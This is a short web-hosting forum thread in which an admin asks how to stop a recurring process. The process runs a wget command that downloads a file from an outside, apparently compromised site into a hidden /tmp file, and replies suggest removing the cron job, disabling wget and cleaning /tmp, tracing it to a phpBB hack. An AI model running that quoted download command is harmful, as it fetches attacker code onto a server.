Kill PID

[cmwh]

I have this running or trying to:

wget http://www.bob-ma.org/modules/Forums/admin/pulax.txt -O /tmp/.791

I kill it from WHM but it comes right back. How can I kill it DEAD and block it, It is bogging down the server.

[dalem]

it's probably one of your users cron jobs delete the cron

[dave9000]

chmod 0000 /usr/bin/wget

to start with
then kill any process associated with wget or any /tmp/* files

then cd /tmp and remove any odd looking files

once you get things cleaned up then chmod 0700 /usr/bin/wget

I am sure there is several more steps that could be added here but I was up all night fixing a courier-pop issue so a little brain dead tonight

[Brad]

It's some kind of shell hack to run perl process..

I saw the same thing today on one of our servers. Also, look for a process running by nobody such as /usr/sbin/apache2 or /usr/sbin/apache with a perl process hogging the cpu..

I believe it's a phpbb hack, not sure what it's doing? I have not found the exact source, so I'm going through all phpbb installations on the server.

[cmwh]

Thanks Dave,
I did just what you said and it worked great.

I told my customers to up grade all php. One got hacked by the Turkish Hacker. It was a php hack.

Thanks